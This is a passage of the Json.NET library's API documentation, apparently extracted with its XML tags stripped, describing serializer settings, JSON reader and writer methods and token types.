external source. + Incoming types should be validated with a custom + when deserializing with a value other than . + + + + + Gets or sets how a type name assembly is written and resolved by the serializer. + The default value is . + + The type name assembly format. + + + + Gets or sets how a type name assembly is written and resolved by the serializer. + The default value is . + + The type name assembly format. + + + + Gets or sets how object references are preserved by the serializer. + The default value is . + + + + + Gets or sets how reference loops (e.g. a class referencing itself) is handled. + The default value is . + + + + + Gets or sets how missing members (e.g. JSON contains a property that isn't a member on the object) are handled during deserialization. + The default value is . + + + + + Gets or sets how null values are handled during serialization and deserialization. + The default value is . + + + + + Gets or sets how default values are handled during serialization and deserialization. + The default value is . + + + + + Gets or sets how objects are created during deserialization. + The default value is . + + The object creation handling. + + + + Gets or sets how constructors are used during deserialization. + The default value is . + + The constructor handling. + + + + Gets or sets how metadata properties are used during deserialization. + The default value is . + + The metadata properties handling. + + + + Gets a collection that will be used during serialization. + + Collection that will be used during serialization. + + + + Gets or sets the contract resolver used by the serializer when + serializing .NET objects to JSON and vice versa. + + + + + Gets or sets the used by the serializer when invoking serialization callback methods. + + The context. + + + + Indicates how JSON text output is formatted. + The default value is . + + + + + Gets or sets how dates are written to JSON text. + The default value is . + + + + + Gets or sets how time zones are handled during serialization and deserialization. + The default value is . + + + + + Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. + The default value is . + + + + + Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. + The default value is . + + + + + Gets or sets how special floating point numbers, e.g. , + and , + are written as JSON text. + The default value is . + + + + + Gets or sets how strings are escaped when writing JSON text. + The default value is . + + + + + Gets or sets how and values are formatted when writing JSON text, + and the expected date format when reading JSON text. + The default value is "yyyy'-'MM'-'dd'T'HH':'mm':'ss.FFFFFFFK". + + + + + Gets or sets the culture used when reading JSON. + The default value is . + + + + + Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . + A null value means there is no maximum. + The default value is 64. + + + + + Gets a value indicating whether there will be a check for additional JSON content after deserializing an object. + The default value is false. + + + true if there will be a check for additional JSON content after deserializing an object; otherwise, false. + + + + + Initializes a new instance of the class. + + + + + Creates a new instance. + The will not use default settings + from . + + + A new instance. + The will not use default settings + from . + + + + + Creates a new instance using the specified . + The will not use default settings + from . + + The settings to be applied to the . + + A new instance using the specified . + The will not use default settings + from . + + + + + Creates a new instance. + The will use default settings + from . + + + A new instance. + The will use default settings + from . + + + + + Creates a new instance using the specified . + The will use default settings + from as well as the specified . + + The settings to be applied to the . + + A new instance using the specified . + The will use default settings + from as well as the specified . + + + + + Populates the JSON values onto the target object. + + The that contains the JSON structure to read values from. + The target object to populate values onto. + + + + Populates the JSON values onto the target object. + + The that contains the JSON structure to read values from. + The target object to populate values onto. + + + + Deserializes the JSON structure contained by the specified . + + The that contains the JSON structure to deserialize. + The being deserialized. + + + + Deserializes the JSON structure contained by the specified + into an instance of the specified type. + + The containing the object. + The of object being deserialized. + The instance of being deserialized. + + + + Deserializes the JSON structure contained by the specified + into an instance of the specified type. + + The containing the object. + The type of the object to deserialize. + The instance of being deserialized. + + + + Deserializes the JSON structure contained by the specified + into an instance of the specified type. + + The containing the object. + The of object being deserialized. + The instance of being deserialized. + + + + Serializes the specified and writes the JSON structure + using the specified . + + The used to write the JSON structure. + The to serialize. + + + + Serializes the specified and writes the JSON structure + using the specified . + + The used to write the JSON structure. + The to serialize. + + The type of the value being serialized. + This parameter is used when is to write out the type name if the type of the value does not match. + Specifying the type is optional. + + + + + Serializes the specified and writes the JSON structure + using the specified . + + The used to write the JSON structure. + The to serialize. + + The type of the value being serialized. + This parameter is used when is Auto to write out the type name if the type of the value does not match. + Specifying the type is optional. + + + + + Serializes the specified and writes the JSON structure + using the specified . + + The used to write the JSON structure. + The to serialize. + + + + Specifies the settings on a object. + + + + + Gets or sets how reference loops (e.g. a class referencing itself) are handled. + The default value is . + + Reference loop handling. + + + + Gets or sets how missing members (e.g. JSON contains a property that isn't a member on the object) are handled during deserialization. + The default value is . + + Missing member handling. + + + + Gets or sets how objects are created during deserialization. + The default value is . + + The object creation handling. + + + + Gets or sets how null values are handled during serialization and deserialization. + The default value is . + + Null value handling. + + + + Gets or sets how default values are handled during serialization and deserialization. + The default value is . + + The default value handling. + + + + Gets or sets a collection that will be used during serialization. + + The converters. + + + + Gets or sets how object references are preserved by the serializer. + The default value is . + + The preserve references handling. + + + + Gets or sets how type name writing and reading is handled by the serializer. + The default value is . + + + should be used with caution when your application deserializes JSON from an external source. + Incoming types should be validated with a custom + when deserializing with a value other than . + + The type name handling. + + + + Gets or sets how metadata properties are used during deserialization. + The default value is . + + The metadata properties handling. + + + + Gets or sets how a type name assembly is written and resolved by the serializer. + The default value is . + + The type name assembly format. + + + + Gets or sets how a type name assembly is written and resolved by the serializer. + The default value is . + + The type name assembly format. + + + + Gets or sets how constructors are used during deserialization. + The default value is . + + The constructor handling. + + + + Gets or sets the contract resolver used by the serializer when + serializing .NET objects to JSON and vice versa. + + The contract resolver. + + + + Gets or sets the equality comparer used by the serializer when comparing references. + + The equality comparer. + + + + Gets or sets the used by the serializer when resolving references. + + The reference resolver. + + + + Gets or sets a function that creates the used by the serializer when resolving references. + + A function that creates the used by the serializer when resolving references. + + + + Gets or sets the used by the serializer when writing trace messages. + + The trace writer. + + + + Gets or sets the used by the serializer when resolving type names. + + The binder. + + + + Gets or sets the used by the serializer when resolving type names. + + The binder. + + + + Gets or sets the error handler called during serialization and deserialization. + + The error handler called during serialization and deserialization. + + + + Gets or sets the used by the serializer when invoking serialization callback methods. + + The context. + + + + Gets or sets how and values are formatted when writing JSON text, + and the expected date format when reading JSON text. + The default value is "yyyy'-'MM'-'dd'T'HH':'mm':'ss.FFFFFFFK". + + + + + Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . + A null value means there is no maximum. + The default value is 64. + + + + + Indicates how JSON text output is formatted. + The default value is . + + + + + Gets or sets how dates are written to JSON text. + The default value is . + + + + + Gets or sets how time zones are handled during serialization and deserialization. + The default value is . + + + + + Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. + The default value is . + + + + + Gets or sets how special floating point numbers, e.g. , + and , + are written as JSON. + The default value is . + + + + + Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. + The default value is . + + + + + Gets or sets how strings are escaped when writing JSON text. + The default value is . + + + + + Gets or sets the culture used when reading JSON. + The default value is . + + + + + Gets a value indicating whether there will be a check for additional content after deserializing an object. + The default value is false. + + + true if there will be a check for additional content after deserializing an object; otherwise, false. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class + using values copied from the passed in . + + + + + Represents a reader that provides fast, non-cached, forward-only access to JSON text data. + + + + + Asynchronously reads the next JSON token from the source. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns true if the next token was read successfully; false if there are no more tokens to read. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously reads the next JSON token from the source as a []. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the []. This result will be null at the end of an array. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously reads the next JSON token from the source as a . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the . This result will be null at the end of an array. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Initializes a new instance of the class with the specified . + + The containing the JSON data to read. + + + + Gets or sets the reader's property name table. + + + + + Gets or sets the reader's character buffer pool. + + + + + Reads the next JSON token from the underlying . + + + true if the next token was read successfully; false if there are no more tokens to read. + + + + + Reads the next JSON token from the underlying as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a . + + A . This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a []. + + A [] or null if the next JSON token is null. This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a of . + + A of . This method will return null at the end of an array. + + + + Changes the reader's state to . + If is set to true, the underlying is also closed. + + + + + Gets a value indicating whether the class can return line information. + + + true if and can be provided; otherwise, false. + + + + + Gets the current line number. + + + The current line number or 0 if no line information is available (for example, returns false). + + + + + Gets the current line position. + + + The current line position or 0 if no line information is available (for example, returns false). + + + + + Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data. + + + + + Asynchronously flushes whatever is in the buffer to the destination and also flushes the destination. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the JSON value delimiter. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the specified end token. + + The end token to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously closes this writer. + If is set to true, the destination is also closed. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the end of the current JSON object or array. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes indent characters. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes an indent space. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes raw JSON without changing the writer's state. + + The raw JSON to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a null value. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the property name of a name/value pair of a JSON object. + + The name of the property. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the property name of a name/value pair of a JSON object. + + The name of the property. + A flag to indicate whether the text should be escaped when it is written as a JSON property name. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the beginning of a JSON array. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the beginning of a JSON object. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the start of a constructor with the given name. + + The name of the constructor. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes an undefined value. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the given white space. + + The string of white space characters. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a [] value. + + The [] value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a comment /*...*/ containing the specified text. + + Text to place inside the comment. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the end of an array. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the end of a constructor. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the end of a JSON object. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes raw JSON where a value is expected and updates the writer's state. + + The raw JSON to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Gets or sets the writer's character array pool. + + + + + Gets or sets how many s to write for each level in the hierarchy when is set to . + + + + + Gets or sets which character to use to quote attribute values. + + + + + Gets or sets which character to use for indenting when is set to . + + + + + Gets or sets a value indicating whether object names will be surrounded with quotes. + + + + + Initializes a new instance of the class using the specified . + + The to write to. + + + + Flushes whatever is in the buffer to the underlying and also flushes the underlying . + + + + + Closes this writer. + If is set to true, the underlying is also closed. + If is set to true, the JSON is auto-completed. + + + + + Writes the beginning of a JSON object. + + + + + Writes the beginning of a JSON array. + + + + + Writes the start of a constructor with the given name. + + The name of the constructor. + + + + Writes the specified end token. + + The end token to write. + + + + Writes the property name of a name/value pair on a JSON object. + + The name of the property. + + + + Writes the property name of a name/value pair on a JSON object. + + The name of the property. + A flag to indicate whether the text should be escaped when it is written as a JSON property name. + + + + Writes indent characters. + + + + + Writes the JSON value delimiter. + + + + + Writes an indent space. + + + + + Writes a value. + An error will raised if the value cannot be written as a single JSON token. + + The value to write. + + + + Writes a null value. + + + + + Writes an undefined value. + + + + + Writes raw JSON. + + The raw JSON to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a value. + + The value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a [] value. + + The [] value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a comment /*...*/ containing the specified text. + + Text to place inside the comment. + + + + Writes the given white space. + + The string of white space characters. + + + + Specifies the type of JSON token. + + + + + This is returned by the if a read method has not been called. + + + + + An object start token. + + + + + An array start token. + + + + + A constructor start token. + + + + + An object property name. + + + + + A comment. + + + + + Raw JSON. + + + + + An integer. + + + + + A float. + + + + + A string. + + + + + A boolean. + + + + + A null token. + + + + + An undefined token. + + + + + An object end token. + + + + + An array end token. + + + + + A constructor end token. + + + + + A Date. + + + + + Byte data. + + + + + + Represents a reader that provides validation. + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + Sets an event handler for receiving schema validation errors. + + + + + Gets the text value of the current JSON token. + + + + + + Gets the depth of the current token in the JSON document. + + The depth of the current token in the JSON document. + + + + Gets the path of the current JSON token. + + + + + Gets the quotation mark character used to enclose the value of a string. + + + + + + Gets the type of the current JSON token. + + + + + + Gets the .NET type for the current JSON token. + + + + + + Initializes a new instance of the class that + validates the content returned from the given . + + The to read from while validating. + + + + Gets or sets the schema. + + The schema. + + + + Gets the used to construct this . + + The specified in the constructor. + + + + Changes the reader's state to . + If is set to true, the underlying is also closed. + + + + + Reads the next JSON token from the underlying as a of . + + A of . + + + + Reads the next JSON token from the underlying as a []. + + + A [] or null if the next JSON token is null. + + + + + Reads the next JSON token from the underlying as a of . + + A of . + + + + Reads the next JSON token from the underlying as a of . + + A of . + + + + Reads the next JSON token from the underlying as a of . + + A of . + + + + Reads the next JSON token from the underlying as a . + + A . This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a of . + + A of . + + + + Reads the next JSON token from the underlying . + + + true if the next token was read successfully; false if there are no more tokens to read. + + + + + Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data. + + + + + Asynchronously closes this writer. + If is set to true, the destination is also closed. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously flushes whatever is in the buffer to the destination and also flushes the destination. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the specified end token. + + The end token to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes indent characters. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the JSON value delimiter. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes an indent space. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes raw JSON without changing the writer's state. + + The raw JSON to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the end of the current JSON object or array. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the end of an array. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the end of a constructor. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the end of a JSON object. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a null value. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the property name of a name/value pair of a JSON object. + + The name of the property. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the property name of a name/value pair of a JSON object. + + The name of the property. + A flag to indicate whether the text should be escaped when it is written as a JSON property name. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the beginning of a JSON array. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a comment /*...*/ containing the specified text. + + Text to place inside the comment. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + 